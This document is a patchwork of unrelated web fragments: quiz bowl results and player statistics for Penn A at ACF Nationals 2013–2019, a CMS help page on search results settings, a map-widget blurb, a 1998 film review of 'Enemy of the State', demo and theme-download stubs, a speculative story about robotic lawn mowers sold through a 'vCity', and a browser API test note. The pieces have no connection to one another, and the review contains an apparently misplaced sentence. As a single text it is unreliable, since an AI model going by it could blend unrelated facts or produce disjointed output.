| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2013 | Penn A | Eric Mukherjee | 17 | 101 | 22 | 900 | 52.94 |
| 2013 | Penn A | Dallas Simons | 17 | 37 | 1 | 365 | 21.47 |
| 2013 | Penn A | Saajid Moyen | 17 | 33 | 10 | 280 | 16.47 |
| 2013 | Penn A | Patrick Liao | 17 | 24 | 1 | 235 | 13.82 |
ACF Nationals 2014
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2014 | 1 (Prelims) | Penn A | Alberta | Win | 350 - 85 | 13 | 2 | 17.69 | Dartmouth |
| 2014 | 2 (Prelims) | Penn A | Ohio State | Win | 410 - 120 | 14 | 2 | 20.00 | Chicago A + Chicago C |
| 2014 | 3 (Prelims) | Penn A | VCU A | Win | 495 - 5 | 16 | 1 | 21.25 | Illinois + USC |
| 2014 | 4 (Prelims) | Penn A | Maryland A | Win | 385 - 220 | 12 | 1 | 22.50 | Ohio State |
| 2014 | 6 (Prelims) | Penn A | Dartmouth A | Win | 350 - 75 | 12 | 2 | 20.00 | Michigan State |
| 2014 | 7 (Prelims) | Penn A | Berkeley A | Win | 425 - 65 | 15 | 1 | 18.67 | Yale |
| 2014 | 8 (Prelims) | Penn A | Chicago C | Win | 475 - 10 | 17 | 3 | 18.82 | Virginia |
| 2014 | 9 (Prelims) | Penn A | Notre Dame A | Win | 535 - -20 | 18 | 1 | 20.00 | Harvard |
| 2014 | 10 (Prelims) | Penn A | Columbia B | Win | 520 - -10 | 17 | 0 | 20.59 | UW + Alberta + Chicago B |
| 2014 | 11 (Prelims) | Penn A | South Carolina | Win | 405 - 20 | 15 | 3 | 18.00 | Alabama + Columbia A + B |
| 2014 | 13 (Playoffs) | Penn A | Michigan A | Win | 395 - 220 | 12 | 1 | 23.33 | No Packet Recorded |
| 2014 | 14 (Playoffs) | Penn A | Stanford A | Win | 405 - 155 | 13 | 1 | 21.54 | No Packet Recorded |
| 2014 | 15 (Playoffs) | Penn A | Washington | Win | 245 - 165 | 9 | 3 | 18.89 | No Packet Recorded |
| 2014 | 16 (Playoffs) | Penn A | Illinois A | Win | 430 - 95 | 15 | 4 | 20.00 | No Packet Recorded |
| 2014 | 17 (Playoffs) | Penn A | Yale A | Loss | 225 - 270 | 8 | 1 | 18.75 | No Packet Recorded |
| 2014 | 18 (Playoffs) | Penn A | Chicago A | Win | 320 - 210 | 12 | 2 | 17.50 | No Packet Recorded |
| 2014 | 19 (Playoffs) | Penn A | Virginia A | Loss | 215 - 325 | 7 | 1 | 21.43 | No Packet Recorded |
| 2014 | 20 (Playoffs) | Penn A | Harvard A | Win | 325 - 160 | 12 | 1 | 17.50 | No Packet Recorded |
| 2014 | 22 (Placement) | Penn A | Yale A | Loss | 240 - 265 | 9 | 0 | 16.67 | No Packet Recorded |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2014 | Penn A | Eric Mukherjee | 19 | 133 | 14 | 1260 | 66.32 |
| 2014 | Penn A | Saajid Moyen | 19 | 56 | 7 | 525 | 27.63 |
| 2014 | Penn A | Dallas Simons | 19 | 33 | 4 | 310 | 16.32 |
| 2014 | Penn A | Patrick Liao | 19 | 24 | 5 | 215 | 11.32 |
ACF Nationals 2015
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2015 | 1 (Prelims) | Penn A | Stanford B | Win | 425 - 70 | 15 | 3 | 19.33 | MIT A + Alberta |
| 2015 | 2 (Prelims) | Penn A | Kenyon | Win | 555 - 15 | 17 | 1 | 22.94 | Minnesota + Washington |
| 2015 | 3 (Prelims) | Penn A | Ottawa | Win | 345 - 40 | 14 | 1 | 15.00 | Chicago A |
| 2015 | 4 (Prelims) | Penn A | NYU | Win | 415 - 105 | 13 | 1 | 22.31 | Virginia and Yale |
| 2015 | 5 (Prelims) | Penn A | Berkeley B | Win | 365 - 135 | 12 | 3 | 21.67 | Rice + Illinois + W+M |
| 2015 | 6 (Prelims) | Penn A | Detroit Catholic Central | Win | 505 - 50 | 17 | 1 | 20.00 | Michigan + Toronto |
| 2015 | 7 (Prelims) | Penn A | WUSTL | Win | 315 - 190 | 11 | 3 | 20.00 | Stanford B + Columbia |
| 2015 | 8 (Prelims) | Penn A | Carleton U | Win | 405 - 10 | 14 | 3 | 20.00 | Maryland + NYU |
| 2015 | 10 (Prelims) | Penn A | UCSD A | Win | 370 - 190 | 12 | 2 | 21.67 | Stanford A |
| 2015 | 11 (Prelims) | Penn A | VCU A | Win | 535 - 30 | 18 | 1 | 20.00 | Ottawa + Harvard |
| 2015 | 12 (Prelims) | Penn A | Chicago C | Win | 485 - 20 | 18 | 1 | 17.22 | UCSD A |
| 2015 | 14 (Playoffs) | Penn A | Minnesota A | Win | 460 - 90 | 16 | 0 | 18.75 | Editors 1 |
| 2015 | 15 (Playoffs) | Penn A | Columbia A | Win | 370 - 160 | 13 | 2 | 19.23 | Editors 2 |
| 2015 | 16 (Playoffs) | Penn A | Illinois A | Win | 330 - 150 | 11 | 4 | 21.82 | Editors 3 |
| 2015 | 17 (Playoffs) | Penn A | MIT A | Win | 405 - 165 | 13 | 1 | 21.54 | Dartmouth |
| 2015 | 18 (Playoffs) | Penn A | Michigan A | Win | 255 - 150 | 11 | 3 | 14.55 | Editors 4 |
| 2015 | 19 (Playoffs) | Penn A | Stanford A | Win | 325 - 135 | 11 | 3 | 20.91 | Editors 5 |
| 2015 | 20 (Playoffs) | Penn A | Chicago A | Win | 280 - 235 | 9 | 2 | 22.22 | Penn B + Penn C + Kenyon |
| 2015 | 21 (Playoffs) | Penn A | Maryland A | Loss | 200 - 385 | 7 | 0 | 18.57 | VCU and Berkeley |
| 2015 | 22 (Playoffs) | Penn A | Virginia A | Win | 225 - 180 | 9 | 3 | 16.67 | Editors 6 |
| 2015 | 24 (Overall Finals) | Penn A | Chicago A | Win | 240 - 105 | 10 | 4 | 16.00 | Finals 1 |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2015 | Penn A | Eric Mukherjee | 21 | 128 | 20 | 1180 | 56.19 |
| 2015 | Penn A | Saajid Moyen | 21 | 93 | 9 | 885 | 42.14 |
| 2015 | Penn A | Patrick Liao | 21 | 27 | 7 | 235 | 11.19 |
| 2015 | Penn A | Chris Chiego | 21 | 23 | 6 | 200 | 9.52 |
ACF Nationals 2016
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2016 | 1 (Prelims) | Penn A | Harvard A | Loss | 110 - 270 | 6 | 2 | 10.00 | Georgia Tech |
| 2016 | 2 (Prelims) | Penn A | Berkeley A | Loss | 115 - 290 | 7 | 5 | 10.00 | Michigan B + Chicago C + Illinois |
| 2016 | 3 (Prelims) | Penn A | UCSD A | Win | 135 - 110 | 8 | 3 | 8.75 | MIT B + Stanford B |
| 2016 | 4 (Prelims) | Penn A | Columbia B | Loss | 155 - 260 | 7 | 1 | 12.86 | Stanford A + Louisville |
| 2016 | 5 (Prelims) | Penn A | Northwestern | Loss | 150 - 285 | 7 | 0 | 11.43 | Maryland A + McGill |
| 2016 | 7 (Prelims) | Penn A | New College of Florida | Win | 135 - 30 | 7 | 1 | 10.00 | Dartmouth + Chicago B |
| 2016 | 8 (Prelims) | Penn A | Minnesota A | Loss | 50 - 335 | 3 | 0 | 6.67 | Columbia A + Columbia B |
| 2016 | 9 (Prelims) | Penn A | Chicago C | Loss | 50 - 265 | 3 | 2 | 10.00 | MIT A |
| 2016 | 10 (Prelims) | Penn A | William and Mary | Loss | 155 - 260 | 7 | 1 | 12.86 | Michigan A |
| 2016 | 11 (Prelims) | Penn A | Michigan A | Loss | 25 - 395 | 2 | 1 | 5.00 | Berkeley A |
| 2016 | 13 (Playoffs) | Penn A | Berkeley B | Loss | 130 - 290 | 7 | 0 | 8.57 | Editors 1 |
| 2016 | 14 (Playoffs) | Penn A | Michigan State | Loss | 115 - 130 | 6 | 1 | 10.00 | Editors 2 |
| 2016 | 15 (Playoffs) | Penn A | Michigan B | Loss | 130 - 220 | 7 | 2 | 10.00 | VCU + Virginia + Oxford |
| 2016 | 16 (Playoffs) | Penn A | VCU A | Win | 180 - 45 | 10 | 2 | 9.00 | Editors 3 |
| 2016 | 17 (Playoffs) | Penn A | Yale B | Loss | 75 - 150 | 4 | 3 | 12.50 | Editors 4 |
| 2016 | 18 (Playoffs) | Penn A | Chicago D | Loss | 105 - 120 | 5 | 1 | 12.00 | Editors 5 |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2016 | Penn A | JinAh Kim | 16 | 35 | 8 | 310 | 19.38 |
| 2016 | Penn A | Jaimie Carlson | 16 | 36 | 13 | 295 | 18.44 |
| 2016 | Penn A | Max Smiley | 16 | 22 | 4 | 200 | 12.50 |
| 2016 | Penn A | Lam Tran | 16 | 3 | 0 | 30 | 1.88 |
ACF Nationals 2017
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2017 | 1 (Prelims) | Penn A | Yale B | Win | 260 - 150 | 10 | 2 | 17.00 | Berkeley A + Tennessee |
| 2017 | 2 (Prelims) | Penn A | Central Florida | Win | 300 - 65 | 11 | 4 | 19.09 | Chicago A + JHU |
| 2017 | 3 (Prelims) | Penn A | Carleton | Win | 260 - 115 | 12 | 4 | 13.33 | Minnesota + MIT A |
| 2017 | 4 (Prelims) | Penn A | Chicago B | Win | 305 - 150 | 13 | 1 | 13.85 | Ohio St + Cambridge + Oxford B |
| 2017 | 5 (Prelims) | Penn A | Oxford B | Win | 385 - 135 | 13 | 1 | 20.00 | Stanford + Harvard |
| 2017 | 7 (Prelims) | Penn A | Maryland A | Loss | 165 - 365 | 7 | 1 | 14.29 | Yale A + Duke |
| 2017 | 10 (Playoffs) | Penn A | Michigan A | Loss | 185 - 380 | 7 | 3 | 18.57 | Editors 1 |
| 2017 | 11 (Playoffs) | Penn A | Berkeley A | Win | 255 - 225 | 10 | 3 | 17.00 | Editors 2 |
| 2017 | 12 (Playoffs) | Penn A | Yale A | Loss | 220 - 250 | 8 | 2 | 18.75 | Editors 3 |
| 2017 | 13 (Playoffs) | Penn A | Columbia A | Loss | 180 - 310 | 7 | 2 | 17.14 | Editors 4 |
| 2017 | 14 (Playoffs) | Penn A | Oxford A | Win | 235 - 190 | 11 | 5 | 13.64 | Editors 5 |
| 2017 | 15 (Playoffs) | Penn A | Chicago A | Loss | 190 - 375 | 8 | 4 | 16.25 | Editors 6 |
| 2017 | 16 (Playoffs) | Penn A | Berkeley B | Loss | 175 - 345 | 6 | 1 | 20.00 | Editors 7 |
| 2017 | 17 (Playoffs) | Penn A | Stanford A | Loss | 185 - 225 | 8 | 1 | 13.75 | Editors 8 |
| 2017 | 18 (Placement, UG/D2 Finals) | Penn A | Oxford A | Win | 265 - 230 | 11 | 1 | 14.55 | Illinois + Rutgers |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2017 | Penn A | Eric Mukherjee | 15 | 96 | 23 | 845 | 56.33 |
| 2017 | Penn A | Jinah Kim | 15 | 22 | 4 | 200 | 13.33 |
| 2017 | Penn A | Jaimie Carlson | 15 | 16 | 4 | 140 | 9.33 |
| 2017 | Penn A | Paul Lee | 15 | 8 | 4 | 60 | 4.00 |
ACF Nationals 2018
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2018 | 1 (Prelims) | Penn A | Minnesota B | Win | 355 - 65 | 14 | 3 | 16.43 | Oxford + Duke |
| 2018 | 3 (Prelims) | Penn A | Chicago C | Win | 360 - 155 | 12 | 2 | 20.83 | Michigan A |
| 2018 | 4 (Prelims) | Penn A | Illinois A | Win | 375 - 55 | 13 | 5 | 20.77 | Maryland A |
| 2018 | 5 (Prelims) | Penn A | Kentucky | Win | 420 - 55 | 15 | 2 | 18.67 | Oklahoma + Michigan B |
| 2018 | 6 (Prelims) | Penn A | MIT B | Win | 430 - 50 | 16 | 0 | 16.88 | JHU A + Florida |
| 2018 | 7 (Prelims) | Penn A | Duke | Win | 305 - 175 | 10 | 1 | 21.00 | NYU + JHU B |
| 2018 | 8 (Prelims) | Penn A | Berkeley B | Win | 260 - 160 | 10 | 2 | 17.00 | Virginia A |
| 2018 | 9 (Playoffs) | Penn A | Maryland A | Win | 285 - 205 | 11 | 1 | 16.36 | Editors 1 |
| 2018 | 10 (Playoffs) | Penn A | Chicago B | Win | 285 - 180 | 11 | 3 | 17.27 | Editors 2 |
| 2018 | 11 (Playoffs) | Penn A | Cambridge | Win | 350 - 150 | 12 | 0 | 19.17 | Editors 3 |
| 2018 | 12 (Playoffs) | Penn A | Minnesota A | Loss | 155 - 240 | 7 | 5 | 15.71 | Editors 4 |
| 2018 | 13 (Playoffs) | Penn A | Berkeley A | Loss | 125 - 315 | 5 | 3 | 18.00 | Editors 5 |
| 2018 | 14 (Playoffs) | Penn A | Chicago A | Win | 265 - 255 | 9 | 1 | 20.00 | Editors 6 |
| 2018 | 15 (Playoffs) | Penn A | Yale A | Win | 305 - 235 | 11 | 3 | 19.09 | Editors 7 |
| 2018 | 16 (Playoffs) | Penn A | Ohio State | Win | 355 - 185 | 12 | 3 | 20.83 | Editors 8 |
| 2018 | 17 (Playoffs) | Penn A | Columbia A | Loss | 125 - 305 | 6 | 5 | 15.00 | Editors 9 |
| 2018 | 18 (Playoffs) | Penn A | Northwestern | Win | 405 - 115 | 14 | 5 | 20.71 | Editors 10 |
| 2018 | 19 (Placement) | Penn A | Columbia A | Win | 225 - 220 | 9 | 3 | 16.67 | Editors 11 |
| 2018 | 20 (Placement) | Penn A | Yale A | Win | 320 - 220 | 12 | 0 | 16.67 | Editors 12 |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2018 | Penn A | Eric Mukherjee | 19 | 103 | 25 | 905 | 47.63 |
| 2018 | Penn A | JinAh Kim | 19 | 42 | 5 | 395 | 20.79 |
| 2018 | Penn A | Jaimie Carlson | 19 | 38 | 8 | 340 | 17.89 |
| 2018 | Penn A | Nitin Rao | 19 | 26 | 9 | 215 | 11.32 |
ACF Nationals 2019
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2019 | 1 (Prelims) | Penn A | Caltech A | Win | 335 - 20 | 15 | 1 | 12.67 | Yale A + Michigan |
| 2019 | 2 (Prelims) | Penn A | Oklahoma | Win | 330 - 120 | 12 | 0 | 17.50 | UVA + Rutgers + Chicago B |
| 2019 | 4 (Prelims) | Penn A | Michigan A | Win | 335 - 55 | 13 | 3 | 16.92 | Berkeley A + Ohio St |
| 2019 | 5 (Prelims) | Penn A | Harvard A | Win | 260 - 170 | 10 | 0 | 16.00 | Chicago A + Penn St |
| 2019 | 6 (Prelims) | Penn A | Yale A | Loss | 190 - 205 | 9 | 2 | 12.22 | Minn A + Harvard A + B |
| 2019 | 7 (Prelims) | Penn A | Columbia A | Loss | 185 - 260 | 7 | 3 | 18.57 | Florida A + Michigan St |
| 2019 | 8 (Prelims) | Penn A | UCLA | Win | 245 - 160 | 11 | 3 | 13.64 | Illinois A + Wright St |
| 2019 | 9 (Tiebreaker 1) | Penn A | Yale A | Win | 320 - 120 | 14 | 2 | 13.57 | Editors 5 |
| 2019 | 10 (Playoffs) | Penn A | Minnesota A | Loss | 70 - 515 | 3 | 2 | 16.67 | Editors 1 |
| 2019 | 11 (Playoffs) | Penn A | Berkeley A | Loss | 150 - 320 | 7 | 2 | 12.86 | Editors 2 |
| 2019 | 12 (Playoffs) | Penn A | Stanford A | Win | 255 - 185 | 10 | 3 | 17.00 | Editors 3 |
| 2019 | 13 (Playoffs) | Penn A | Ohio State | Win | 285 - 230 | 11 | 1 | 16.36 | Editors 4 |
| 2019 | 14 (Tiebreaker 2) | Penn A | Columbia A | Loss | 50 - 195 | 2 | 2 | 20.00 | JHU + Texas + Maryland B |
| 2019 | 15 (Superplayoffs) | Penn A | Illinois A | Loss | 220 - 230 | 8 | 2 | 18.75 | Editors 6 |
| 2019 | 16 (Superplayoffs) | Penn A | McGill | Win | 185 - 180 | 9 | 5 | 13.33 | Editors 7 |
| 2019 | 17 (Superplayoffs) | Penn A | Berkeley B | Loss | 215 - 225 | 8 | 1 | 17.50 | Editors 8 |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2019 | Penn A | Aidan Mehigan | 15.5 | 48 | 7 | 445 | 28.71 |
| 2019 | Penn A | Nitin Rao | 15.5 | 41 | 7 | 375 | 24.19 |
| 2019 | Penn A | Jaimie Carlson | 15.5 | 36 | 9 | 315 | 20.32 |
| 2019 | Penn A | Paul Lee | 15.5 | 24 | 9 | 195 | 12.58 |


Setting the Search Results Page
How to set a custom or a default search results page for this site using the Site Settings page.
- Navigate to Admin > Site Settings.
- Select the Advanced Settings tab.
- Expand the Page Management section.
- At Search Results Page, select from the following options:
- To set a custom search results page, select the page name from the drop down list. The selected page must have a Search Results module on the page in order for the search results to be displayed.
- To use the default search results page, select Search Results.
-
Click the Update button.
Related Topics:
-
See "About the Search Admin Module"
-
See "About the Search Results Module"


jVectorMap is a vector-based, cross-browser and cross-platform component for interactive geography-related data visualization on the web. It provides numerious features like smooth zooming and panning, fully-customizable styling, markers, labels and tooltips.
World map
USA map
World Map


ENEMY OF THE STATE (1998) A Film Review by Ted Prigge Copyright 1998 Ted Prigge
Director: Tony Scott Writer: David Marconi Starring: Will Smith, Gene Hackman, Jon Voight, Regina King, Loren Dean, Barry Pepper, Jack Black, Seth Green, Jamie Kennedy, Ian Hart, Lisa Bonet, Jake Busey, Scott Caan, Jason Lee, Stuart Wilson, Tom Sizemore, Gabriel Byrne, James LeGros, Jason Robards, Phil Hawn, Dan Butler, Philip Baker Hall
With the sudden liberal emergence of personal privacy abounding in the news lately, what with that whole Clinton thing going on (you know, 100 million bucks to discover the president got boinked by an intern - oh, please, government, waste my taxes just a bit more, would you?), it's about time Tony Scott helmed the newest action pic disguised as an important if not slightly ignorant social statement. With this and "Crimson Tide," he's created two successfully chilly films that are interesting, exciting, even pretty smart, but never totally riveting as cinema, and the problem I think with each of these films is that each film is too obsessed with its message to ever be really satisfying, and too obsessed with looking all cutting edge to ever be totally smart. That film dealt with a civil war inside a nuclear submarine over whether or not to follow rules or question them, and was appropriately scary and all, but never totally thrilling or overly brilliant.
"Enemy of the State" is the same way: it's engrossing for its entire running time, and it's scary the way that it shows a man's decent into kafkaism, but it's too technical. It's too cold and not as fascinating or exciting as it could be. It casts Will Smith, one of the better big budget leading men in movies these days because he's charming and witty and never uninteresting, and hopes that his charisma can make up for his character not being well developed enough to really be a person.  The result was not only a film that was exciting and chilling, but also the best mindfuck of the entire year. Not that I want every kafkaesque film to be "The Game" (this year's "The Spanish Prisoner" succeeds with less thrills and chills), but it should be an example of what works and what doesn't.
Will Smith's character is, frankly, too perfect, at least too movie perfect. He had an affair with another woman (Lisa Bonet, ha ha), but his relationship with his wife (Regina King) is basically fine regardless. He has a kid, and he's raking in money as a lawyer, albeit a very good and reasonably moral one. So he generally doesn't have any real problems as a human being, and is therefore boring...except that he is played by Will Smith, who embodies him with about as much Will Smith charm as he can without entering "ID4"/"Men in Black" territory. He's a good dramatic actor (just see the first half hour of "Six Degrees of Separation" for proof of this, not that he isn't great the whole time), and here, he makes his character likable and sympathetic without any real strain on his character, which makes the film lack any real deep interesting qualities.
Smith becomes involved in a mass conspiracy involving the assasination of a Senator opposed to a government law that would create world surveillance, extinguishing privacy as we know it from the world, under the pretense that it would make crime easier to control, when he is passed a disk of the event caught on tape by an outside party (a nature observer played by, uh, Jason Lee). The government wants the disk, and is prepared to destroy his life to get it. As Smith's plight is dramatized, we are introduced to the masterminds who surveillance him, sitting in vans disguised as other businesses, staring at computers and pulling out tricks faster than a speeding bullet. These guys (played by Jack Black, Jamie Kennedy, and Seth Green) are the most interesting part of this film because they're, well, fascinating: they're doing their jobs, which are evil, but the film doesn't view them as such, and they almost become our friends. We like these guys for the sole reason that the film doesn't automatically judge them as the villains. They're also scary because we get the idea that they're not fully aware of the impact their jobs have on the world. It's as if they're obsessed with their jobs, not because they're evil, but because, hey, it's a fun job, and no one else can do it like them.
Unfortunately, this also backfires a bit on the film: instead of being the flashlight in the darkened room that "The Game" was, you see everything, and are thus not as freaked out because you know what is going on. Sure, you're chilled, but you're not exacty freaked out by what's going on.  He's a not-bad director because, hell, he is always interesting to watch (if not occasionally moronic - exhibit A: "Days of Thunder"), but the reason he's not great is because he's too technical and calculated. His shots are perfectly executed, and leave nothing to the imagination, and they're always making sure you're paying attention. This is incredibly annoying, and it reduces "Enemy of the State" to a mechanical mishmash of flashy images that never expand the mind at any great depths, but still manage to entertain without any real problems.
Despite never actually becoming great, it's never actually boring and it's always intriguing. Watching the government set-up Smith is endlessly fascinating, and since we care about Smith's likeable protagonist, we are set-up for a good two hours worth of Tom Clancy-esque entertainment. Add the best big cast this side of the annual Woody Allen film (everyone from Gabriel Byrne to Dan Butler pop up for cameos), and you've got a good old fashioned escapist drama which does all the thinking for you so that you never have to actually question the debate over personal privacy and so you can follow Will Smith's plight without a minute's worth of boredom.
MY RATING (out of 4): ***
Homepage at: http://www.geocities.com/Hollywood/Hills/8335/
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Demonstrates:
'Select2' javascript dropdown editor
auto-edit settings
Options:
Auto-edit ON
Auto-edit OFF
View Source:
View the source for this example on Github


Created a widget theme and want to share with community?. Just write me a letter with your attatched theme. Read article how to use themes
Orange theme. Read more to download
Pink theme. Read more to download
Light green theme. Read more to download
Dark red theme. Read more to download
Green theme. Read more to download


Take the Hedley Koor corporation as an example. HK Industries was a California-based firm that earned most of its business from maintenance contracts on U.S. Air Force Air Bases. One of the things it did was mow and trim grass around USAF facilities. Now, this may sound like a very arcane subspecialty, but there is a body of literature -- U.S. government contract specifications -- on how grass must be cut. Violations can be punished, especially by contract officers desperate to meet budget cuts and forego such things as award fees or even invoice payments. So HKI Inc. was very interested in making sure that USAF lawns were cut exactly to specs.
To cut grass with inhuman precision, one cannot use humans. HKI Inc. pioneered in the use of robotic lawn mowers. In the beginning, these were gasoline-powered machines that operated autonomously with laser-range finders, gyros, a locality positioning system, and a host of AI programming. They were tremendously expensive to design, program, and build; however, their life-cycle costs over thirty years were estimated to be cheaper than using people to the job, considering total costs including human health care, insurance, benefits, pensions, and work-related "interruptions".
When HKI Inc. tried to market the same technology to the private sector, however, it was a miserable failure. No one wanted a Terminator-like lawn mower running around with the spectre of it chasing down and eliminating Fido in a mistaken object-analysis routine. The corporation took great pains to assure people that this was not possible; but the people, in their infinite wisdom, disagreed. I do not know the truth.
At any rate, by 1998 HKI Inc. was desperate to transfer something -- anything -- of its expertise to the marketplace. That was when the vCity was in first bloom. Some of the HKI Inc. engineers familiar with VR programming set up a simmcorp in the vCity just for fun, without permission from their superiors. Marketing caught on, and began to ask people questions through the vCity. What kind of lawn mower did the people want, anyway?
vCitizens at that time were predominantly well-to-do, homeowning, North American males age 35+. This is not a representative cross-section of the planetary population, however it was precisely the market which might be interested in something as ridiculous as a robotic lawn mower.
HKI Inc. was thrilled. They learned first of all that people did not want autonomous technology, but remote-controlled machinery was okay. From a programming point of view, this was actually easier to design. They learned that people did not want gasoline-powered lawn mowers because they were noisy, smelly, required maintenance, violated some local ordinances, and because most lawns were just not big enough to require the speed and power afforded by an internal combustion engine. They learned that electric-powered mowers that needed to be connected to an outlet were unpopular because the cord tends to wrap around trees or snag on other obstacles. They learned many other things. And HKI Inc. found a ready group of test-marketers.
The result, to make a long story short, was the introduction of the nolomower. It is a rechargeable battery (RB) driven device good for two hours of uninterrupted operation at approximately 8 h.p. Linked by wireless comm to a special device that connects to the telephone, and from there to the Internet, it can be remotely operated as if it were a virtual reality construct by PC or HMD from anywhere on the globe. Operation is, of course, keyed to an individual personal identification number (PIN) so that no one can do any unauthorized grass cutting.
You would think that this piece of technology would have been laughed out of existence the moment it was introduced to the market. That, however, is pre-vCity thinking. HKI Inc. would never have introduced it in the first place had they not tested it quite carefully in a VR setting first, and if they had not established a rapport with their clientele prior to DDT&E.
In fact, it proved enormously popular not only with men, but also with women. The nolomower was a great success because people could operate it while doing something else, for example, sorting laundry or watching television. The thing has a simple "deadman's clutch" that prevents it from moving when it is not being controlled.


User-activation-gated API to test:
tests without a setTimeout() call.
tests with a setTimeout() delay of 1.1sec.
tests with a setTimeout() delay of 5.1sec.
tests with a setTimeout() delay of 10.1sec.